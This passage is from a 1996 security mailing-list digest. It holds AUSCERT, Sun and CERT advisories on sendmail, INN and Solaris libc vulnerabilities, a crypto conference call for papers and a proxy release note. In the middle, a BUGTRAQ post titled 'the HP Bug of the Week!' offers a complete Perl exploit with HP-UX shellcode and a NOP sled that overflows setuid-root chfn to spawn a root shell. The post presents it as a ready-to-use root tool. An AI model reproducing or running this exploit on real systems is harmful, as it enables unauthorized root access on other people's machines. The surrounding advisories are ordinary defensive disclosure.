emergencies and off-hour assistance, DOE, DOE contractor sites, and the NIH may contact CIAC 24-hours a day. During off hours (5PM - 8AM PST), call the CIAC voice number 510-422-8193 and leave a message, or call 800-759-7243 (800-SKY-PAGE) to send a Sky Page. CIAC has two Sky Page PIN numbers, the primary PIN number, 8550070, is for the CIAC duty person, and the secondary PIN number, 8550074 is for the CIAC Project Leader. Previous CIAC notices, anti-virus software, and other information are available from the CIAC Computer Security Archive. World Wide Web: http://ciac.llnl.gov/ Anonymous FTP: ciac.llnl.gov (128.115.19.53) Modem access: +1 (510) 423-4753 (28.8K baud) +1 (510) 423-3331 (28.8K baud) CIAC has several self-subscribing mailing lists for electronic publications: 1. CIAC-BULLETIN for Advisories, highest priority - time critical information and Bulletins, important computer security information; 2. CIAC-NOTES for Notes, a collection of computer security articles; 3. SPI-ANNOUNCE for official news about Security Profile Inspector (SPI) software updates, new features, distribution and availability; 4. SPI-NOTES, for discussion of problems and solutions regarding the use of SPI products. Our mailing lists are managed by a public domain software package called ListProcessor, which ignores E-mail header subject lines. To subscribe (add yourself) to one of our mailing lists, send the following request as the E-mail message body, substituting CIAC-BULLETIN, CIAC-NOTES, SPI-ANNOUNCE or SPI-NOTES for list-name and valid information for LastName FirstName and PhoneNumber when sending E-mail to ciac-listproc@llnl.gov: subscribe list-name LastName, FirstName PhoneNumber e.g., subscribe ciac-notes OHara, Scarlett W. 404-555-1212 x36 You will receive an acknowledgment containing address, initial PIN, and information on how to change either of them, cancel your subscription, or get help. PLEASE NOTE: Many users outside of the DOE, ESnet, and NIH computing communities receive CIAC bulletins. If you are not part of these communities, please contact your agency's response team to report incidents. Your agency's team will coordinate with CIAC. The Forum of Incident Response and Security Teams (FIRST) is a world-wide organization. A list of FIRST member organizations and their constituencies can be obtained via WWW at http://www.first.org/. This document was prepared as an account of work sponsored by an agency of the United States Government. Neither the United States Government nor the University of California nor any of their employees, makes any warranty, express or implied, or assumes any legal liability or responsibility for the accuracy, completeness, or usefulness of any information, apparatus, product, or process disclosed, or represents that its use would not infringe privately owned rights. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not necessarily constitute or imply its endorsement, recommendation or favoring by the United States Government or the University of California. The views and opinions of authors expressed herein do not necessarily state or reflect those of the United States Government or the University of California, and shall not be used for advertising or product endorsement purposes. LAST 10 CIAC BULLETINS ISSUED (Previous bulletins available from CIAC) H-02: SUN's TCP SYN Flooding Solutions H-03: HP-UX_suid_Vulnerabilities H-04: HP-UX Ping Vulnerability H-05: Internet Hoaxes H-07: Sendmail SIGHUP-smtpd Vulnerability H-08: lpr Buffer Overrun Vulnerability H-09: HP 9000 Access Vulnerability H-10: HP-UX Security Vulnerabilities (passwd, fpkg2swpkg, newgrp) H-11: sendmail Group Permissions Vulnerability H-12: IBM AIX(r) 'SYN Flood' and 'Ping o' Death' Vulnerabilities RECENT CIAC NOTES ISSUED (Previous Notes available from CIAC) Notes 07 - 3/29/95 A comprehensive review of SATAN Notes 08 - 4/4/95 A Courtney update Notes 09 - 4/24/95 More on the "Good Times" virus urban legend Notes 10 - 6/16/95 PKZ300B Trojan, Logdaemon/FreeBSD, vulnerability in S/Key, EBOLA Virus Hoax, and Caibua Virus Notes 11 - 7/31/95 Virus Update, Hats Off to Administrators, America On-Line Virus Scare, SPI 3.2.2 Released, The Die_Hard Virus Notes 12 - 9/12/95 Securely configuring Public Telnet Services, X Windows, beta release of Merlin, Microsoft Word Macro Viruses, Allegations of Inappropriate Data Collection in Win95 Notes 96-01 - 3/18/96 Java and JavaScript Vulnerabilities, FIRST Conference Announcement, Security and Web Search Engines, Microsoft Word Macro Virus Update -----BEGIN PGP SIGNATURE----- Version: 2.6.1 Comment: Processed by Mailcrypt 3.3, an Emacs/PGP interface iQCVAwUBMq7nyLnzJzdsy3QZAQH25gQA+3CG5tK1AIsIo0gzWrHW8guj6fT7sHbB qp4wg5yGSv1ayVKwjespoVE0gRZRL4rQJg65Cv2ELxmBoBElgURJpHpLMYxc/Vbd FaGU1tnOBb0pxVV88RecjLQH9oMhbdYaE3lR9dFwZJJ9xSXeG0787sGFFtQueVgX YjVO0YrIXoo= =CagU -----END PGP SIGNATURE----- ------------------------------ Date: Wed, 04 Dec 1996 14:24:15 +0000 From: Christopher Samuel To: uk-mail-managers@ncl.ac.uk Subject: AUSCERT alert for sendmail V8.8.3 Message-ID: <27031.849709455@rivers.dra.hmg.gb> Content-Type: multipart/mixed ; boundary="==_Exmh_705879288810" This is a multipart MIME message. --==_Exmh_705879288810 Content-Type: text/plain Here we go folks, Yet Another Sendmail Advisory (YASA), this time from the Australian CERT Team. Fix: upgrade to sendmail 8.8.4. Chris --==_Exmh_705879288810 Content-Type: text/plain Content-Description: AA-96.15.sendmail.group.perms.vul -----BEGIN PGP SIGNED MESSAGE----- =========================================================================== AA-96.15 AUSCERT Advisory sendmail Group Permissions Vulnerability 3 December 1996 Last Revised: -- - --------------------------------------------------------------------------- AUSCERT has received information of a security problem in sendmail affecting version 8. This vulnerability may allow local users to run programs with group permissions of other users. This vulnerability requires group writable files to be available on the same file system as a file that the attacker can convince sendmail to trust. AUSCERT recommends that sites take the steps outlined in Section 3 as soon as possible. - --------------------------------------------------------------------------- 1. Description When delivering mail to a program listed in a .forward or :include: file, that program is run with the group permissions possessed by the owner of that .forward or :include: file. The owner of the file is used to initialize the list of group permissions that are in force when the program is run. This list is determined by scanning the /etc/group file. It is possible to attain group permissions you should not have by linking to a file that is owned by someone else, but on which you have group write permissions. By changing that file you can acquire the group permissions of the owner of that file. 2. Impact An attacker can gain group permissions of another user, if the attacked user has a file that is group writable by the attacker on the same filesystem as either (a) the attacker's home directory, or (b) a :include: file that is referenced directly from the aliases file and is in a directory writable by the attacker. The first (.forward) attack only works against root. N.B.: this attack does not give you root "owner" permissions, but does give you access to the groups that list root in /etc/group. 3. Workarounds/Solution AUSCERT recommends that sendmail 8.8.4 be installed as soon as possible (see Section 3.1). For sites that can not install sendmail 8.8.4, apply the workaround described in Section 3.2. 3.1 Upgrade to sendmail 8.8.4. Eric Allman has released sendmail 8.8.4 which fixes this vulnerability. There is no patch for any version of sendmail prior to 8.8.0. Sites are encouraged to upgrade to sendmail 8.8.4 as soon as possible. The current version of sendmail is available from: ftp://ftp.sendmail.org/pub/sendmail/ ftp://ftp.auscert.org.au/pub/mirrors/ftp.cs.berkeley.edu/ucb/sendmail/ ftp://ftp.cert.dfn.de/pub/tools/net/sendmail/ The MD5 checksum for this distribution is: MD5 (sendmail.8.8.4.patch) = bb0f24abdb1416748b0c7a9f9315fa59 MD5 (sendmail.8.8.4.tar.Z) = 0b4e4d09c75733ab63dde1cb6a52c615 MD5 (sendmail.8.8.4.tar.gz) = 64ce6393a6968a0dc7c6652dace127b0 3.2 Workaround Eric Allman, the author of sendmail, has provided the following workaround. Set the UnsafeGroupWrites option in the sendmail.cf file. This option tells sendmail that group-writable files should not be considered safe for mailing to programs or files. This causes sendmail to refuse to run any programs referenced from group-writable files. Setting this option is a good idea in any case, but may require that your users tighten permissions on their .forward files and :include: files. The command "find -user root -type f -perm -020 -print" will print the names of all files owned by root that are group writable on a given . In addition, group memberships should be audited regularly. Users should not be in groups without a specific need. In particular, root generally does not need to be listed in most groups. As a policy matter, root should have a umask of (at least) 022 so that group writable files are made consciously. Also, the aliases file should not reference :include: files in writable directories. 4. Additional Measures This section describes some additional measures for increasing the security of sendmail. These measures are unrelated to the vulnerability described in this advisory but should be followed. Sites must apply the Workarounds/Solution described in Section 3 first, and then optionally apply the additional measures described in this Section. 4.1 Restrict Ability to Mail to Programs If the ability to send electronic mail to programs (for example, vacation programs) is not required, this feature should be disabled. This is achieved by modifying the "Mprog" line in the configuration file to mail to "/bin/false" rather than "/bin/sh". The following line in the ".mc" file will achieve this: define(`LOCAL_SHELL_PATH', `/bin/false')dnl If mailing to programs is required, it is recommended that the sendmail restricted shell, smrsh, be used at all times. This applies to all versions of sendmail, including vendor versions. smrsh is supplied with the current version of sendmail and includes documentation and installation instructions. 5. Additional Information Sendmail 8.8.4 also fixes a denial of service attack. If your system relies on the TryNullMXList option in order to forward mail to third party MX hosts, an attacker can force that option off, thereby causing mail to bounce. As a workaround, you can use the mailertable feature to deliver to third party MX hosts regardless of the setting of the TryNullMXList option. - --------------------------------------------------------------------------- AUSCERT thanks Eric Allman for his rapid response to this vulnerability, and for providing much of the technical content used in this advisory. AUSCERT also thanks Terry Kyriacopoulos (Interlog Internet Services) and Dan Bernstein (University of Illinois at Chicago) for their reporting of these vulnerabilities. - --------------------------------------------------------------------------- The AUSCERT team have made every effort to ensure that the information contained in this document is accurate. However, the decision to use the information described is the responsibility of each user or organisation. The appropriateness of this document for an organisation or individual system should be considered before application in conjunction with local policies and procedures. AUSCERT takes no responsibility for the consequences of applying the contents of this document. If you believe that your system has been compromised, contact AUSCERT or your representative in FIRST (Forum of Incident Response and Security Teams). AUSCERT is located at The University of Queensland within the Prentice Centre. AUSCERT is a full member of the Forum of Incident Response and Security Teams (FIRST). AUSCERT maintains an anonymous FTP service which is found on: ftp://ftp.auscert.org.au/pub/. This archive contains past SERT and AUSCERT Advisories, and other computer security information. AUSCERT also maintains a World Wide Web service which is found on: http://www.auscert.org.au/. Internet Email: auscert@auscert.org.au Facsimile: (07) 3365 4477 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AUSCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for emergencies. Postal: Australian Computer Emergency Response Team c/- Prentice Centre The University of Queensland Brisbane Qld. 4072. AUSTRALIA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision History ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv Comment: ftp://ftp.auscert.org.au/pub/auscert/AUSCERT_PGP.key iQCVAwUBMqQecyh9+71yA2DNAQFvkAP6Ax9BOb7moKyEoLi/1N9H44pU0J/EgMQG gn5sf6oO6BbR/Lrz+JjCUpyHVojoyYa9togccx9HgGqhDvrH/CwURg2cx2val7WX N4R4bKJl/qab0LJxfcHvZqbUyVGYdnYrgBz+y5xwSj6vOWcQ3/8bfPvn0abpSQgn r5aB7lz2Klc= =LgWC -----END PGP SIGNATURE----- --==_Exmh_705879288810-- ------------------------------ Date: Tue, 10 Dec 1996 14:02:26 +1000 From: auscert@auscert.org.au To: first-teams@first.org cc: auscert@auscert.org.au Subject: (PUBLIC RELEASE) AUSCERT Advisory AA-96.19 INN parsecontrol Vulnerability Message-Id: <199612100402.OAA13975@amethyst.auscert.org.au> Content-Type: text/plain; charset=us-ascii -----BEGIN PGP SIGNED MESSAGE----- =========================================================================== AA-96.19 AUSCERT Advisory INN parsecontrol Vulnerability 10 December 1996 Last Revised: -- - --------------------------------------------------------------------------- AUSCERT has received information that a vulnerability exists in all versions of INN (InterNetNews) up to and including 1.5. This vulnerability allows intruders to execute arbitrary commands on the news server by sending a carefully crafted news control message. These commands will be executed using the privileges of the user configured to run the INN software (usually "news"). Information concerning this vulnerability has been widely released. - --------------------------------------------------------------------------- 1. Description All versions of INN (up to and including 1.5) contain a security vulnerability. This vulnerability allows remote users to execute arbitrary commands on the news server by sending it a carefully crafted news control message. These commands will be executed using the privileges of the user configured to run the INN software (usually "news"). This may be further leveraged to gain root access, depending on the configuration of the operating system and the INN software. As this is a vulnerability based upon the content of the news message, it is possible to attack news servers that are located behind firewalls and other boundary protection systems if the control message is passed through to the server. The version of INN running on the system can be determined by connecting to the nntp port (119) of the news server: % telnet localhost 119 200 a.b.c InterNetNews server INN 1.5 28-Nov-1996 ready Type "quit" to exit. 2. Impact Remote users may be able to execute arbitrary commands on the news server with the privileges of the user configured to run the INN software (usually "news"). This may be further leveraged to gain root access depending on the configuration of the operating system and the INN software. 3. Workarounds/Solution AUSCERT recommends that news servers running the vulnerable versions of INN should limit the possible exploitation of this vulnerability by immediately applying the vendor patches listed in Section 3.1. 3.1 Apply Vendor Patches James Brister, the current maintainer of INN, has made available security patches for common versions of INN that address the vulnerability described in this advisory. For INN versions 1.4unoff3, 1.4unoff4 and 1.5: ftp://ftp.vix.com/pub/inn/patches/security-patch.01 For INN version 1.4sec: ftp://ftp.vix.com/pub/inn/patches/security-patch.02 The MD5 checksums for these patches are: MD5 (security-patch.01) = 06131a3d1f4cf19d7d1e664c10306fa8 MD5 (security-patch.02) = 3a964ba0b2b2baf678ef554c67bb28f2 AUSCERT recommends sites running previous versions of INN upgrade to the latest version of INN (version 1.5) and then apply security-patch.01. More information regarding the current release of INN can be found at: http://www.isc.org/isc/inn.html - --------------------------------------------------------------------------- AUSCERT thanks James Brister of the Internet Software Consortium for his rapid response to this vulnerability. AUSCERT also acknowledges Matt Power from MIT for his initial report of the problem. - --------------------------------------------------------------------------- The AUSCERT team have made every effort to ensure that the information contained in this document is accurate. However, the decision to use the information described is the responsibility of each user or organisation. The appropriateness of this document for an organisation or individual system should be considered before application in conjunction with local policies and procedures. AUSCERT takes no responsibility for the consequences of applying the contents of this document. If you believe that your system has been compromised, contact AUSCERT or your representative in FIRST (Forum of Incident Response and Security Teams). AUSCERT is located at The University of Queensland within the Prentice Centre. AUSCERT is a full member of the Forum of Incident Response and Security Teams (FIRST). AUSCERT maintains an anonymous FTP service which is found on: ftp://ftp.auscert.org.au/pub/. This archive contains past SERT and AUSCERT Advisories, and other computer security information. AUSCERT also maintains a World Wide Web service which is found on: http://www.auscert.org.au/. Internet Email: auscert@auscert.org.au Facsimile: (07) 3365 4477 Telephone: (07) 3365 4417 (International: +61 7 3365 4417) AUSCERT personnel answer during Queensland business hours which are GMT+10:00 (AEST). On call after hours for emergencies. Postal: Australian Computer Emergency Response Team c/- Prentice Centre The University of Queensland Brisbane Qld. 4072. AUSTRALIA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Revision History ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv Comment: ftp://ftp.auscert.org.au/pub/auscert/AUSCERT_PGP.key iQCVAwUBMq1l3Sh9+71yA2DNAQFvjgP9EPxKnVG+hccZWhMDUz6vuCnpK9aOZoHl n88+KefS/NnDfwoR4OQfkoKeY2PlaXDspCAZpOruTQuC66PoRnKPCzSsBeu7y53n 3cox/NR22T1P7WzOVOtVAcpGgG2xsAO1f0E4cKau3mKReg7DHMXwDCIpjfrtkIfD sOawerKUyH0= =Whvi -----END PGP SIGNATURE----- -+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+ This message was posted through the FIRST mailing list server. if you wish to unsubscribe from this mailing list, send the message body of "unsubscribe first-teams" to first-majordomo@FIRST.ORG -+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+==--+ ------------------------------ Date: Wed, 11 Dec 1996 20:23:15 -0500 From: Robert Hettinga To: Mac-crypto conference distribution Subject: Call for papers :2nd Mac-Crypto Conference Mar 18-20, 1997 Message-Id: Content-Type: text/plain; charset="us-ascii" --- begin forwarded text Sender: mac-crypto@thumper.vmeng.com Reply-To: Vinnie Moscaritolo Mime-Version: 1.0 Precedence: Bulk Date: Wed, 11 Dec 1996 16:33:38 -0800 From: Vinnie Moscaritolo To: Multiple recipients of Subject: Call for papers :2nd Mac-Crypto Conference Mar 18-20, 1997 Approved: proff@suburbia.net -----BEGIN PGP SIGNED MESSAGE-----BY SAFEMAIL----- Belive it or not we are going to do it again.... The Membership of the Mac-Crypto List invites you to The Second-Ever- Not Nearly-Last-Minute- (most likely) Radar-Jammed To-Hell-with-Forgiveness Macintosh Cryptography and Internet Commerce Software Development Workshop (ex postcrypto postIdes of march) Mar 18 - 20, 1997 Apple R&D Campus, Cupertino, CA, USA If you would like to present a paper or give a talk, please contact Vinnie Moscaritolo at for more info on the damage we did last year check out http://www.vmeng.com/mc/debrief.html dont say I didnt warn ya.. -----BEGIN PGP SIGNATURE-----BY SAFEMAIL----- Version: 1.0b5 e29 iQCVAwUBMq9SvPMF2+rAU+UdAQFU1QQAxKrGHgqd6lEdsB5CgMx20GZV29eJ+od2 OOOh/+SLK8WsYUmNIaA+hYXdlCjBzVoFY6WnOgAferyEZe8G97RAZkCmecv0+7IN XLzw3LXCtsHzyuIi3hjOgpptnBZAscGCc2ZqNd4JineGCTpgn4U4pRaTzvuMajoU 9POCuudysBo= =IsTO -----END PGP SIGNATURE----- Vinnie Moscaritolo ------------------ "friends come and friends go..but enemies accumulate." http://www.vmeng.com/vinnie/ Fingerprint: 4FA3298150E404F2782501876EA2146A --- end forwarded text ----------------- Robert Hettinga (rah@shipwright.com) e$, 44 Farquhar Street, Boston, MA 02131 USA "The cost of anything is the foregone alternative" -- Walter Johnson The e$ Home Page: http://www.vmeng.com/rah/ ------------------------------ Date: Wed, 11 Dec 1996 19:21:54 -0600 From: Mark Graff To: Multiple recipients of list BUGTRAQ Subject: Amended Bulletin (#137) Message-ID: <199612120037.QAA21586@liberty.eng.sun.com> ============================================================================= SUN MICROSYSTEMS SECURITY BULLETIN: #00137a, 11 Dec 1996 ============================================================================= ADDENDUM This is an amended version of Sun Microsystems Security Bulletin #00137, which discussed recently released security patches for Solaris 2.5 and 2.5.1. The changes correct two mistakes. No new information is provided. The original bulletin, released 20 Nov 1996, stated: Since the current version (v1.0) of SISS, the Solaris Internet Server Supplement, is based largely on 2.5.1 code, it too is vulnerable. In fact, SISS v1.0 (the only version to date) is *not* vulnerable to this attack. The original version of the bulletin also contained a typographical error. References to Solaris "5.1.1" should instead read "5.5.1". This amended version of the bulletin contains corrections for both errors. We regret any inconvenience caused by the inaccuracies in the original version of the bulletin. BULLETIN TOPICS In this bulletin Sun announces the release of security-related patches for Solaris 2.5 (SunOS 5.5) and Solaris 2.5.1 (SunOS 5.5.1). The patches relate to a single problem involving vulnerabilities in both the libc and libnsl libraries. Sun strongly recommends that you install these patches immediately on every affected system. An exploitation script was publicly released earlier this week for this vulnerability and the script is now widely distributed. Many 2.5 and 2.5.1 systems are therefore currently vulnerable to attack. Earlier versions of SunOS, including 4.1.x, do not have the bug and are not vulnerable. As of this writing Sun is aware of no successful attacks based on this problem. I. Who is Affected, and What to Do II. Understanding the Vulnerability III. List of Patches IV. Checksum Table APPENDICES A. How to obtain Sun security patches B. How to report or inquire about Sun security problems C.. How to obtain Sun security bulletins or short status updates Send Replies or Inquiries To: Mark Graff Sun Security Coordinator MS MPK17-103 2550 Garcia Avenue Mountain View, CA 94043-1100 Phone: 415-786-5274 Fax: 415-786-7994 E-mail: security-alert@Sun.COM Sun acknowledges with thanks the CERT Coordination Center (Carnegie Mellon University), AUSCERT, and Marko Laakso (University of Oulu) for their assistance in the preparation of this bulletin. Sun, CERT/CC, and AUSCERT are all members of FIRST, the Forum of Incident Response and Security Teams. For more information about FIRST, visit the FIRST web site at "http://www.first.org/". Keywords: gethostbyname, root, libc, libnsl Patchlist: 103187-09, 103188-09, 103612-06, 103613-06, 103614-06 Cross-Ref: ----------- Permission is granted for the redistribution of this Bulletin, so long as the Bulletin is not edited and is attributed to Sun Microsystems. Portions may also be excerpted for re-use in other security advisories so long as proper attribution is included. Any other use of this information without the express written consent of Sun Microsystems is prohibited. Sun Microsystems expressly disclaims all liability for any misuse of this information by any third party. ============================================================================= SUN MICROSYSTEMS SECURITY BULLETIN: #00137a, 11 Dec 1996 ============================================================================= I. Who is Affected, and What to Do Sun has verified that this vulnerability affects all supported Solaris 2.5 (SunOS 5.5) and Solaris 2.5.1 (SunOS 5.5.1) systems. Earlier versions of SunOS, including 4.1.x, do not have the bug and are not vulnerable. Installing and running the software provided in these patches completely closes the vulnerability. For information about how to obtain these and other Sun patches, see Appendix A. To see which version of SunOS your system is running, use a command such as: % uname -a If your system is running SunOS 5.5 or 5.5.1, it is vulnerable. II. Understanding the Vulnerability If exploited, this vulnerability can be used to gain root access on attacked systems. The attack could be initiated from a remote system. Even penetration through a firewall may be possible, depending upon which services and applications (such as rlogin) are allowed to pass through the firewall. Because this vulnerability is located in two key system libraries, many setuid/setgid system utilities are affected and possibly exploitable. There has been a buffer over-run vulnerability discovered in both the libc and the libnsl libraries under Solaris 2.5/2.5.1. Many setuid and setgid programs, as well as network programs running with root privileges, are dynamically linked against these libraries. This vulnerability has the potential for any program using these libraries, running with root privileges, to be exploited, giving root privileges. III. List of Patches The patches required to close this vulnerability are listed below. A. Solaris 2.x (SunOS 5.x) patches Patches which replace the affected libraries and executables are available for every supported version of SunOS 5.x. OS version Patch ID ---------- --------- SunOS 5.5 103187-09 SunOS 5.5_X86 103188-09 SunOS 5.5.1 103612-06 SunOS 5.5.1_x86 103613-06 SunOS 5.5.1_ppc 103614-06 B. Solaris 1.x (SunOS 4.1.x) patches No patches are needed for SunOS 4.1.x, which is not vulnerable. IV. Checksum Table In the checksum table we show the BSD and SVR4 checksums and MD5 digital signatures for the compressed tar archives. File BSD SVR4 MD5 Name Checksum Checksum Digital Signature --------------- ----------- --------- -------------------------------- 103187-09.tar.Z 55543 2779 1318 5557 2AF86E9126BB8B0505743D0283C175A6 103188-09.tar.Z 21952 2523 13621 5046 E0455AAC6DF587E9F9EC88082B9613B2 103612-06.tar.Z 29415 2752 38423 5503 56DF3214D8C5CC58C9AC223C9C7ACEBC 103613-06.tar.Z 30698 2501 29921 5002 7E27DF259B595231188D2725E2B6AE59 103614-06.tar.Z 05172 2766 46856 5532 193E63B9C5E2B829D59B1FCBE2E2981F The checksums shown above are from the BSD-based checksum (on 4.1.x, /bin/sum; on SunOS 5.x, /usr/ucb/sum) and from the SVR4 version on on SunOS 5.x (/usr/bin/sum). APPENDICES A. How to obtain Sun security patches 1. If you have a support contract Customers with Sun support contracts can obtain any patches listed in this bulletin (and any other patches--and a list of patches) from: - SunSolve Online - Local Sun answer centers, worldwide - SunSITEs worldwide The patches are available via World Wide Web at http://sunsolve.sun.com. You should also contact your answer center if you have a support contract and: - You need assistance in installing a patch - You need additional patches - You want an existing patch ported to another platform - You believe you have encountered a bug in a Sun patch - You want to know if a patch exists, or when one will be ready 2. If you do not have a support contract Customers without support contracts may now obtain security patches, "recommended" patches, and patch lists via SunSolve Online. Sun does not furnish patches to any external distribution sites other than the ones mentioned here. The ftp.uu.net and ftp.eu.net sites are no longer supported. 3. About the checksums So that you can quickly verify the integrity of the patch files themselves, we supply in each bulletin checksums for the tar archives. Occasionally, you may find that the listed checksums do not match the patches on the SunSolve or SunSite database. This does not necessarily mean that the patch has been tampered with. More likely, a non-substantive change (such as a revision to the README file) has altered the checksum of the tar file. The SunSolve patch database is refreshed nightly, and will sometimes contain versions of a patch newer than the one on which the checksums were based. In the future we may provide checksum information for the individual components of a patch as well as the compressed archive file. This would allow customers to determine, if need be, which file(s) have been changed since we issued the bulletin containing the checksums. In the meantime, if you would like assistance in verifying the integrity of a patch file please contact this office or your local answer center. B. How to report or inquire about Sun security problems If you discover a security problem with Sun software or wish to inquire about a possible problem, contact one or more of the following: - Your local Sun answer centers - Your representative computer security response team, such as CERT - This office. Address postal mail to: Sun Security Coordinator MS MPK17-103 2550 Garcia Avenue Mountain View, CA 94043-1100 Phone: 415-786-5274 Fax: 415-786-7994 E-mail: security-alert@Sun.COM We strongly recommend that you report problems to your local Answer Center. In some cases they will accept a report of a security bug even if you do not have a support contract. An additional notification to the security-alert alias is suggested but should not be used as your primary vehicle for reporting a bug. C. How to obtain Sun security bulletins or short status updates 1. Subscription information Sun Security Bulletins are available free of charge as part of our Customer Warning System. It is not necessary to have a Sun support contract in order to receive them. To receive information or to subscribe or unsubscribe from our mailing list, send mail to security-alert@sun.com with a subject line containing one of the following commands. Subject Information Returned/Action Taken ------- --------------------------------- HELP An explanation of how to get information LIST A list of current security topics QUERY [topic] The mail containing the question is relayed to a Security Coordinator for a response. REPORT [topic] The mail containing the text is treated as a security bug report and forwarded to a Security Coordinator for handling. Please note that this channel of communications does not supersede the use of Sun Solution Centers for this purpose. Note also that we do not recommend that detailed problem descriptions be sent in plain text. SEND topic Summary of the status of selected topic. (To retrieve a Sun Security Bulletin, supply the number of the bulletin, as in "SEND #103".) SUBSCRIBE Sender is added to the CWS (Customer Warning System) list. The subscribe feature requires that the sender include on the subject line the word "cws" and the reply email address. So the subject line might look like the following: SUBSCRIBE cws graff@sun.com UNSUBSCRIBE Sender is removed from the CWS list. Should your email not fit into one of the above subjects, a help message will be returned to you. Due to the volume of subscription requests we receive, we cannot guarantee to acknowledge requests. Please contact this office if you wish to verify that your subscription request was received, or if you would like your bulletin delivered via postal mail or fax. 2. Obtaining old bulletins Sun Security Bulletins are available via the security-alert alias and on SunSolve. Please try these sources first before contacting this office for old bulletins. ------------ ------------------------------ Date: Mon, 9 Dec 1996 02:47:46 -0600 From: Aleph One To: Multiple recipients of list BUGTRAQ Subject: the HP Bug of the Week! Message-ID: Content-Type: TEXT/PLAIN; charset=US-ASCII >From our friends at SOD: This week: the continuing saga of buffer overflows in setuid root programs Amid the struggle of the terrible workaday week, among the lost broken-hearted keypunching drones, alongside the workers in the dreaded server farm, Our Hero bravely sends the legally forbidden datastream across the burning wires toward a cold and lifeless shell of a shell. The electrons twist! The binary bits battle! The data bus swerves sharply to avoid hitting the eclectic keywords! Was the script executed in time to save Our Hero and his lovely Mistress? Were the exploitable programs still enabled setuid root? Will the buffers spill onto the stack and leave way to run a small semblance of illicit code? Of course they will, and you don't have to tune in next week to find out, either. This week, the chfn command happily runs some code for us as root, and Otto Sync joins us as an honorary Scriptor with his exploits written especially for HP's OpenCall Service Control Point platform for SS7 telephony use -- oh, I don't know how well Alcatel is going to like this one! So snarf it, pop it open, and suck it down, and as always remember to start clicking your way to root access with scripts from those Superhero kind of folks at SOD. _________________________________________________________________ Caveat Emptor of.chfn changes uid's, too! script for this week _________________________________________________________________ #!/usr/bin/perl use FileHandle; sub h2cs { local($stuff)=@_; local($rv); while($stuff !~ /^$/) { $bob=$stuff; $bob =~ s/^(..).*$/$1/; $stuff =~ s/^..//; $rv.=chr(oct("0x${bob}")); } return $rv; } open(PIPE,"uname -r|"); chop($rev=); close(PIPE); $rev =~ s/^.*\.(.*)\..*$/$1/; if ($rev eq "10") { $offset=2070; $prealign="AA"; $postalign="PPPP"; $pcoq=h2cs("7b03A013"); } else { $offset=2070; $prealign="AA"; $postalign="PPPP"; $pcoq=h2cs("7b033013"); } $nop=h2cs("08210280"); $code=""; $code.=h2cs("34160506"); # LDI 643,r22 $code.=h2cs("96d60534"); # SUBI 666,r22,r22 $code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 $code.=h2cs("e420e008"); # BLE 4(sr7,r1) $code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0 $code.=h2cs("e83f1ffd"); # BL .+8,r1 $code.=h2cs("08210280"); # NOP $code.=h2cs("34020102"); # LDI 129,rp $code.=h2cs("08410402"); # SUB r1,rp,rp $code.=h2cs("60400162"); # STB r0,177(rp) $code.=h2cs("b45a0154"); # ADDI 170,rp,arg0 $code.=h2cs("0b390299"); # XOR arg0,arg0,arg0 $code.=h2cs("0b180298"); # XOR arg0,arg0,arg0 $code.=h2cs("341604be"); # LDI 607,r22 $code.=h2cs("20200801"); # LDIL L%0xc0000004,r1 $code.=h2cs("e420e008"); # BLE 4(sr7,r1) $code.=h2cs("96d60534"); # SUB 666,r22,r22 $code.=h2cs("deadcafe"); # Illegal instruction -- dump core if exec fails $data="/bin/sh."; # Data stuff $codedata=$code.$data; $num=int(($offset-length($code)-length($data)-4)/4); $pre="$nop"x$num; $of=$prealign; $of.=$pre.$code.$data.$postalign.$pcoq; exec("/usr/bin/chfn","$of"); Aleph One / aleph1@dfw.net http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 ------------------------------ Date: Sat, 7 Dec 1996 14:20:23 -0700 (MST) From: Bob Beck To: firewalls@greatcircle.com Cc: info@obtuse.com Subject: Obtuse smtpd 1.12 released. Message-Id: <199612072120.OAA00860@chocolate.obtuse.com> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Obtuse smtpd version 1.12 is now available at ftp://ftp.obtuse.com/pub/smtpd. Obtuse smtpd is a free store/forward smtp proxy. version 1.12 fixes a couple of bugs from 1.11: - smtpd could emit multiple "421 XXX" messages when exiting. - smtpfwdd would sometimes exit after attempting to process a sibling-processed spoolfile. MD5 sums for the relase and patch are below ---------------------------------------------------------------- 7c816744c9767431a101c68196c44ed1 patch-smtpd_1.11-1.12.gz edd8b1474d5cb428d60e0ddd4d0feecd smtpd_1.12.tar.gz ---------------------------------------------------------------- Enjoy, -Bob -- Bob Beck Obtuse Systems Corporation beck@obtuse.com http://www.obtuse.com/ True Evil hides its real intentions in its street address. Search and you shall find it, and the truth shall set you free. ------------------------------ Date: Tue, 10 Dec 1996 15:01:51 -0500 From: CERT Advisory To: cert-advisory@cert.org Subject: CERT Advisory CA-96.25 - Sendmail Group Permissions Vulnerability Message-Id: <199612102001.PAA20595@coal.cert.org> -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= CERT(sm) Advisory CA-96.25 Original issue date: December 10, 1996 Last revised: -- Topic: Sendmail Group Permissions Vulnerability - ----------------------------------------------------------------------------- The CERT Coordination Center has received reports of a security problem in sendmail affecting version 8. By exploiting this vulnerability, a local user can run programs with group permissions of other users. For the exploitation to be successful, group-writable files must be available on the same file system as a file that the attacker can convince sendmail to trust. The CERT/CC 